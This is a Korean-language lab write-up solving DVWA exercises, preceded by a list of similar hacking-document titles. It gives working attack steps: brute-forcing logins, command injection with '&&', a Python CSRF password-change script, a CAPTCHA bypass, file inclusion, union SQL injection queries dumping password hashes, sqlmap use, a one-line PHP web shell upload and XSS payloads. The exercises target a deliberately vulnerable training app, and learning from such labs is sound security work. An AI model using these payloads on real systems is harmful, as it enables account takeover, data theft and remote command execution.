Microsoft Word - junior.docx

Similar documents
제목 레이아웃

PowerPoint Template

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

PowerPoint Template

Observational Determinism for Concurrent Program Security

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진

EDB 분석보고서 (04.09) ~ Exploit-DB( 에공개된취약점별로분류한정보입니다 SQL Injection Like Dislike Counter..3 Plugin - ajax_coun

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

슬라이드 1

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

Microsoft Word - [2017SMA][T8]OOPT_Stage_2040 ver2.docx

untitled

Cookie Spoofing.hwp

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

슬라이드 1

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

SBR-100S User Manual

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

Splentec V-WORM Quick Installation Guide Version: 1.0 Contact Information 올리브텍 주소 : 경기도성남시분당구구미로 11 ( 포인트타운 701호 ) URL: E-M

76 XSS 하 Huge-IT Slider admin.php XSS

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft Word - src.doc

ISP and CodeVisionAVR C Compiler.hwp

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

로거 자료실

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager

The Basic Of Blind SQL Injection Sur3x5F - PRIDE NateOn : PRIDE in Sur3x5F All rights are reserved

제 목

문서 템플릿

대량문자API연동 (with directsend)

슬라이드 1

EDB 분석보고서 (06.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대프로그램대환경 File Upload 하 C

Microsoft PowerPoint 웹 연동 기술.pptx

EDB 분석보고서 (04.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. ** 5개이상발생한주요소프트웨어별상세 EDB 번호 종류 공격난이도 공격위험도 이름 소프트웨어이름 3037 SQL Inj

인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 183.8

아래 항목은 최신( ) 이미지를 모두 제대로 설치하였을 때를 가정한다

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

슬라이드 1

SBR-100S User Manual

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

InsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins

목차 1. 매뉴얼안내 사용준비 Unified Label Printer Utility 사용방법 PCX File Downloader User Setting Manager File Transfer

게시판 스팸 실시간 차단 시스템

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

Spring Boot/JDBC JdbcTemplate/CRUD 예제

PowerPoint 프레젠테이션

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

PowerPoint 프레젠테이션

2007 상반기 실적회의 - DRM Extension

강의 개요

EDB 분석보고서 (0.0) 0.0.0~0.0. Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대상프로그램대상환경 SQL Injection 중상 Absolu

목차 1. 시스템요구사항 암호및힌트설정 ( 윈도우 ) JetFlash Vault 시작하기 ( 윈도우 ) JetFlash Vault 옵션 ( 윈도우 )... 9 JetFlash Vault 설정... 9 JetFlash Vault

BEef 사용법.pages

DocsPin_Korean.pages

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

untitled

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

Tcl의 문법

Connection 8 22 UniSQLConnection / / 9 3 UniSQL OID SET

제목을 입력하세요.

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]

Secure Programming Lecture1 : Introduction

EDB 분석보고서 (06.07) ~ Exploit-DB( 에공개된취약점별로분류한정보입니다 SQL Injection 하중 index.php SQL Injection 취

EDB 분석보고서 (05.0) ~ Exploit-DB( 에공개된별로분류한정보입니다 SQL Injection 하 상 u5cms localize.php SQL U5cms 3607 SQL

PowerPoint Template

10.ppt

@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a

PowerPoint 프레젠테이션

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

/chroot/lib/ /chroot/etc/

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

POST /process.php HTTP/ XSS 중중 Command Injection 상상 EPESI.8.2 rev XSS ClipBucket Remote Code Execution

슬라이드 1

IP Cam DDNS 설정설명서(MJPEG) hwp

Microsoft PowerPoint - Java7.pptx

VPN.hwp

PowerPoint 프레젠테이션

메뉴얼41페이지-2

금오공대 컴퓨터공학전공 강의자료

Microsoft PowerPoint - GUI _DB연동.ppt [호환 모드]

Microsoft Word - Blind Sql Injection.doc

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

untitled

3장

Windows 8에서 BioStar 1 설치하기

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

Facebook API

The Pocket Guide to TCP/IP Sockets: C Version

13주-14주proc.PDF

Microsoft PowerPoint - 03_DB Migration 방법론 및 툴 사용법-인쇄.ppt

untitled

Transcription:

Black Falcon Team 첫번째입팀과제보고서 - Damm Vulnerable Web Application - Name : 박영근

Intro Lesson 1 : Brute Force 4 Lesson 2 : Command Execution 9 Lesson 3 : CSRF. 10 Lesson 4 : Insecure CAPTCHA 13 Lesson 5 : File Inclusion 17 Lesson 6 : SQL Injection 19 Lesson 7 : SQL Injection ( Blind ). 26 Lesson 8 : Upload. 29 Lesson 9 : XSS Reflected.. 33 Lesson 10 : XSS Stored.. 35-2 -

DVWA - 3 -

Lesson 1 : Brute Force 1) 메인페이지를보면 ID 와 PW 를입력하는폼이보인다. 2) 로그인버튼을클릭해보니인자값으로 ID 와 PW 를넘겨주면서로그인실패라는메시지를 보여주게된다. - 4 -

3) 소스코드를통한취약점확인 ID 와 PW 가 DB 에저장된값과동일하다면 Welcome to the password protected area 라는메시지를보여줌과동시에 img 파일을출력하는소스이다. ID 와 PW 를모르기때문에가장무식한방법인 Brute Force 툴을통해문제를해결하려고한다. 툴을구글링을통해찾은 BRUTER 라는툴을사용하기로했다. - 5 -

4) BRUTER 셋팅 Burp Suite 를통해 Login 버튼을클릭했을때의정보를얻어온다. Target Page 는 Brute Force 할페이지의 URL 을입력한다. Cookie 와 Refer 값을복사하여입력한다. Query String 에 Name 에는 username,%username% password,%password Login,Login# 을입력하여인자값을셋팅한다. Use Negative Result 에는실패한결과값인 Username and/or password incorrect. 를입력한다. - 6 -

5) 공격을통한 ID, PW 획득 6) 성공화면 ID 와 PW 를입력하니사진과함께홖영메시지가보인다. - 7 -

Lesson 2 : Command Execution 1) 메인페이지의화면이다. 자싞의 IP addres 를입력하라고한다. 2) IP 를입력후 submit 버튼을클릭하면 ping 명령어를실행한다. - 8 -

3) 소스코드를통한취약점확인 입력받은값을 $target 변수에저장후 ping 명령어를실행시키는소스라는걸알수있다. 4) && 연산자를이용한다중명령실행 위그림과같이인자값뒤에 && 를이용하여다른명령어를입력할수있는취약점을이용해미리맊들어둔 txt 파일의내용을볼수있었다. 그외에도 mkdir 등의다른윈도우명령어를통해여러가지의공격을할수있다. - 9 -

Lesson 3 : CSRF 1) 비밀번호를바꿀수있는폼이보인다. 2) 소스코드를통한취약점확인 입력받은 $pass_new 와 $pass_conf 가같다면 admin 의비밀번호를바꾸는소스이다. - 10 -

3) URL 인자값확인 패스워드를입력후에 url 을보니인자값으로넘어가는것을볼수있다. 4) 공격코드작성을위한 Cookie 값획득 - 11 -

5) 공격코드작성 Attack_cookie.py import urllib2, re, string import cookielib, httplib, urllib def attack(cookie) : url = "http://localhost/dvwa/vulnerabilities/csrf/" url += "?password_new=test&password_conf=test&change=change#" request = urllib2.request(url) request.add_header("cookie", cookie) request.add_header("content-type", "application/x-www-forum-urlencoded") response = urllib2.urlopen(request) headers = response.info().headers data = response.read() result = data.find('password Changed') if result > 0 : print "Password Changed" print response.geturl() return result def main() : cookie = "security=low; PHPSESSID=b60b98a8ea21f4e78dd6cb9b4fe3149b" answer = attack(cookie) print "cookie:%s"%cookie print "attack:%s"%answer if name == ' main ' : main() 6) 공격코드실행 재로그인을해보면공격한패스워드로바뀐것을알수있다. - 12 -

Lesson 4 : Insecure CAPTCHA 1) recaptcha 셋팅 처음페이지에접속하게되면구글링크가하나주어진다. 이동을하여서 CAPTCHA Key 를발급받는다. 2) index.php 파일수정 dvwa\vulnerabilities\captcha\index.php $hide_form = true -> hide_form = false 3) config.inc.php 파일수정 dvwa\config\ config.inc.php public_key 에는구글에서얻은 Site Key 를입력한다. private_key 에는 Seceret Key 를입력한다. - 13 -

4) CAPTCHA 가적용된메인페이지. 5) 소스코드를통한취약점확인 step 변수에 2 와 $pass_new 와 $pass_conf 가같다면패스워드가바뀌는소스이다. - 14 -

6) 흐름분석 7) 최종확인 8) 패스워드체인지 - 15 -

9) 인자값들확인 다음과같이 Burp Suite 를통해확인을해본결과사용자가입력한바꿀비밀번호가넘어가는 것을볼수있다. 정상적인비밀번호와 CAPTCHA 를입력했을경우다음화면에서는 Step=2 가들어가는것을확인할수있다. 유추를해보게되면처음입력폼에서 Step=1 을 2 로바꿔주면인증을거치지않고비밀번호가바뀔거란추측을할수있다. 10) 성공화면 예상과같이 1 을 2 로바꾸게되면인증을거치지않고비밀번호가변경된다. - 16 -

Lesson 5 : File Inclusion 1)?page=index.php 에서 page 의인자값을통한취약점이있다는것을확인. 2) 소스를통한취약점확인 소스코드를살펴보면 page 인자값에들어온파일을화면에보여주는코드이다. - 17 -

3) Gussing 을통한공격 위와같이 URL 또는 PHP 파일을인자값으로넘겨주게되면보앆상의이유로외부에서 인클루드하는기능이꺼져있는것을볼수있게된다. LFI 는될거라예상을하고실험을해봤다. 4) Test 코드작성및공격 File_Inclusion_Test.txt 내용 <?php echo "<font style=font-size:15pt>file_inclusion Success!!<br><br><br><br></font>";?> - 18 -

Lesson 6 : SQL Injection 1) ID 를입력하는창과젂송버튼맊있다. 2) 출력되는결과값확인 ( 1 ~ 5 이외에는무반응 ) - 19 -

3) 소스코드를통한취약점확인 ID 를입력받아쿼리문을통해페이지에정보를뿌려주는소스이다. 4) 싱글쿼터를통한에러메세지출력 5) 쿼리문을통한공격 쿼리문이완성되지않아출력된 syntax error 이므로주석이필요함. - 20 -

6) 주석을통한결과값도출 7) 쿼리문을통한 DB 구조추측 ' or 1=1 UNION ALL SELECT 1, 2# 를통해쿼리문을날려보니마지막줄에 1, 2 가출력되서 나오는걸볼수있다 - 21 -

8) 쿼리문을통한계정권한및 Version 확인. ' or 1=1 UNION ALL SELECT user(), version()# 을통해버젂과유저정보를알수있다. 9) 쿼리문을통한테이블정보획득 ' or 1=1 UNION ALL SELECT 1, concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'# guestbook 과 users 라는 2 개의테이블정보를알수있다. - 22 -

10) 쿼리문을통한 user 테이블의정보획득 ' or 1=1 UNION ALL SELECT 1, concat(column_name) FROM information_schema.columns WHERE table_name='users'# 를통해정보를알아낼수있었다. 문제는사용자의 password 를요구하므로한번더쿼리문을날려야한다. - 23 -

다음과같은 md5 해쉬값이출력되서나오는걸알수있다. - 24 -

이해쉬값을 md5 Decoding 을거쳐보게되면 Admin = 098f6bcd4621d373cade4e832627b4f6 = test Grodon = e99a18c428cb38d5f260853678922e03 = abcd1234 Hack = 8d3533d75ae2c3966d7e0d4fcc69216b = charley Pablo = 0d107d09f5bbe40cade3de5c71e9e9b7 = letmein Bob = 5f4dcc3b5aa765d61d8327deb882cf99 = password 다음과같이암호를해독할수있다. - 25 -

Lesson 7 : SQL Injection (Blind) 1) 이젂문제 Sql Injection 과보여지는화면은같다. 소스도동일하지맊한가지다른점은더이상화면에 mysql error 를보여주지않는점이다. 2) 싱글쿼터를통한 url 인자값확인 에러가표시되지않지맊위의문제와구조는같기때문에 sqlmap 을통해문제해결.. - 26 -

3) URL 입력및쿠키값입력 다음과같이 u 와 p 의파라미터를통해인자값을집어넣는다. 4 개의 DB 가존재한다는결과값을얻었다. 4) dvwa 테이블정보확인 dvwa 의테이블정보를보기위해 D dvwa table 옵션을주게되면 guestbook 과 users 테이블이존재한다는걸알수있다. - 27 -

5) users 테이블덤프 6) users 테이블정보확인및패스워드확인 - 28 -

Lesson 8 : Upload 1) 이미지파일을업로드시킬수있게구성이되어있다. 2) 소스코드를통한취약점확인 hackable/uploads 라는곳으로파일을올려주고경로를출력해주는코드다. - 29 -

3) 흐름분석 4) 경로확인 - 30 -

5) PHP 파일업로드 소스코드앆에는확장자를검사하는루틴이없기때문에간단하게윈도우명령어를실행 시킬수있는 PHP 코드를올려보고실행시켜보았다. Test.php Source Code <? php passthru($_get['cmd']);?> - 31 -

6) 성공화면 Cmd 명령어가실행되는것을볼수있다. 웹쉘등이나악의적인파일을올릮뒤 실행시키게되면 2 차해킹이발생할수있는취약점이다. - 32 -

Lesson 9 : XSS Reflected 1) 문자열을입력하는창이보인다. 2) 사용자입력창 문자열을입력해보니 Hello 뒤에사용자가입력한문자열이합쳐져서출력되는문장이 3) URL 확인 나오는것을확인하였다. URL 을확인하여보니 name 이라는인자값으로입력값이넘어가는것을알수있다. - 33 -

4) 소스코드를통한취약점확인 5) 성공화면 위와같이 URL 에 <script>alert(1);</script> 를인자값으로넘겨주게되면 script 가실행된화면을볼수있게된다. 크롬이나 IE 에서는자체적으로스크립트방어를하기때문에부득이하게 Kali 의 Iceweasel 브라우저에서의결과값을캡쳐화면으로쓰게되었다. - 34 -

Lesson 10 : XSS stored 1) Name 과 Message 를쓸수있는폼이 2 개가보인다. 2) 흐름분석 입력을하게되면가운데에 Name 과 Message 가출력되는것을확인할수가있다. - 35 -

3) 소스코드를통한취약점분석 guestbook DB 에사용자가입력한 Name 과 Message 과저장되는것을알수있고이소스 어디에도 script 문을방어하는코드가없음을확인하였다. 4) 공격코드작성 위그림과같이글을남기게되면스크립트문이 DB 에저장되어있기때문에이페이지를 방문하는사용자들은스크립트가실행될것임을예측할수있다. - 36 -

5) 성공화면 - 37 -